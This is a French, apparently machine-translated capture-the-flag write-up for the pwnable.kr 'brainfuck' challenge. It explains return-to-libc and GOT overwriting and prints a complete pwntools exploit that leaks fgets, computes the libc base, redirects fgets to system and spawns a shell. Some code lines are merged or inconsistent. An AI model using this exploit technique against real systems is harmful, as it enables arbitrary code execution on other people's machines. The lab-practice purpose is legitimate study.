Dans cet article, nous allons résoudre la 22e tâche à partir du site
pwnable.kr et découvrir la catégorie d'attaques qui impliquent la réécriture de l'adresse dans le GOT à l'adresse de la fonction dont nous avons besoin à partir de la bibliothèque.
Information organisationnelleSurtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:
- PWN;
- cryptographie (Crypto);
- technologies de réseau (réseau);
- reverse (Reverse Engineering);
- stéganographie (Stegano);
- recherche et exploitation des vulnérabilités WEB.
En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.
Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une
chaîne dans Telegram et un
groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations
personnelles et répondrai à tout le monde .
Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.
Retour à l'attaque de la bibliothèque
L'attaque de retour à la bibliothèque (attaque Return-to-libc) est l'un des types d'attaques informatiques associées aux débordements de tampon lorsque l'adresse de retour d'une fonction sur la pile est remplacée par l'adresse d'une autre fonction du programme et que les paramètres de la fonction appelée sont écrits dans la partie suivante de la pile. Cette technique permet à un attaquant d'effectuer n'importe quelle fonction existante dans la bibliothèque sans avoir à injecter de code malveillant dans le programme.
Linux a une bibliothèque libc partagée qui fournit des fonctions standard C et POSIX, telles que system () pour exécuter des commandes arbitraires. Des bibliothèques similaires existent dans la famille de systèmes d'exploitation Windows. Bien qu'un attaquant puisse forcer un programme à sauter à n'importe quelle adresse, la plupart des programmes utilisent libc (lié à celui-ci), il a des fonctions pratiques pour lancer des commandes arbitraires. Par conséquent, les fonctions de la bibliothèque standard sont la cible la plus probable de tels exploits, qui ont donné le nom à la classe d'attaques.
Solution à la quête des horcruxes
Nous commençons la deuxième section. Je dirai tout de suite que c'est plus difficile que le premier et qu'on ne nous fournit pas le code source des applications. N'oubliez pas la discussion
ici . Commençons.
Cliquez sur l'icône avec la signature cerveau fuck. Ils nous donnent l'adresse et le port de connexion, le programme lui-même, la bibliothèque libc pour cela et expliquent qu'il s'agit d'un émulateur de langage
brainfuck .

Téléchargez tout ce qu'ils nous donnent, vérifiez le binaire. Il s'agit d'un elfe 32 bits, nous décompilons donc le programme dans IDA Pro.

Il n'y a aucune vulnérabilité dans la fonction principale. L'allocation de mémoire et le nombre de caractères saisis dans la variable s sont contrôlés. Avant cela, le pointeur p est initialisé. Jetons un coup d'œil à la fonction brainfuck.

Cette fonction est utilisée pour chaque caractère de la chaîne que nous avons entrée. Il contient une séquence d'actions, selon le personnage. Un ensemble complet de commandes ressemble à ceci:
- +: ajoutez un à la valeur située en p;
- ,: prend un autre caractère de l'entrée standard et le prend à p;
- -: soustrait un de la valeur de p;
- .: affiche le caractère à l'adresse p;
- <: soustrait de p;
- >: ajoute à la p.

Ainsi, la solution à notre tâche se produira en manipulant le pointeur p. Trouvez son adresse de départ. Dans la fonction principale, l'adresse de la bande variable est entrée dans p, c'est-à-dire 0x804a0a0.

En même temps, la section got.plt est située à 0x804a000, les adresses des fonctions utilisées sont stockées dans la bibliothèque libc. À propos de GOT et PLT, j'ai déjà écrit
ici .

Puisqu'en manipulant le pointeur p nous pouvons arriver à GOT, nous pouvons implémenter une attaque comme ret2libc. Pour ce faire, nous devrons réécrire l'adresse de la fonction utilisée à l'adresse de la fonction system () de libc (on nous a même donné une bibliothèque).
Ainsi, le vecteur d'attaque suivant émerge:
- réécrire les fgets d'adresse à l'adresse de la fonction système;
- réécrivez l'adresse memset à gets;
- réécrivez l'adresse putchar en main.
Ce qui va en résulter: après avoir terminé les étapes indiquées ci-dessus, lorsque la fonction putchar est appelée, la fonction principale sera appelée, qui appellera gets au lieu de memset et lira la chaîne que nous avons entrée dans la pile. Après quoi, au lieu de fgets, un système sera appelé, ce qui lèvera un argument de la pile (c'est-à-dire la ligne que nous avons entrée).
Implémentons cela. Créez d'abord un modèle qui contient les adresses du pointeur et des fonctions:
from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_puts = 0x804a018 p_putchar = 0x804a030 p_main = 0x8048671
Nous allons maintenant écrire une fonction qui déplacera le pointeur sur le nombre d'étapes dont nous avons besoin:
def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n)
Une fonction qui lit 4 octets:
def readVar(): return ".>"*4 + "<"*4
Une fonction qui accepte et écrit 4 octets:
def writeVar(): return ",>"*4 + "<"*4
Maintenant on écrit la charge, c'est simple - on passe à l'adresse fgets, on lit (plus tard je dirai pourquoi), on réécrit ... On va à l'adresse memset - on réécrit, on va à l'adresse putchar - on réécrit. Tout est comme dans l'idée.
payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.'
Alors pourquoi lire l'adresse des fgets? Comme il s'agit de got.plt, nous lisons l'adresse des fgets dans la bibliothèque libc associée. Puisque nous avons juste une bibliothèque libc (non liée), puis en soustrayant l'adresse de la même fonction dans une bibliothèque non liée de l'adresse de la fonction dans la bibliothèque liée, nous déterminerons la base, c'est-à-dire l'adresse à partir de laquelle la bibliothèque est liée par le fichier m (le début du code de bibliothèque). En ajoutant ensuite à la base de données l'offset de toute fonction dans une bibliothèque indépendante, nous arriverons à l'adresse de cette fonction dans une déjà connectée. Autrement dit, nous appellerons une fonction du binaire qui n'a même pas été définie ...
Ainsi, cette charge nous donnera l'adresse de la fonction dans la bibliothèque liée. Trouvons son adresse sans lien.
libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets']
Et maintenant, compte tenu des réponses du serveur, nous trouverons la base de données.
r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc)
Nous obtenons maintenant les adresses des autres fonctions en tenant compte de la base.
system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets']
Et nous réalisons notre idée.
r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive()
Code complet from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_memset = 0x804a02c p_putchar = 0x804a030 p_main = 0x8048671 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) def readVar(): return ".>"*4 + "<"*4 def writeVar(): return ",>"*4 + "<"*4 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive()

Nous obtenons le drapeau souhaité et commençons la deuxième partie des tâches sur pwnable.kr.

Vous pouvez nous rejoindre sur
Telegram . La prochaine fois, nous traiterons du débordement de tas.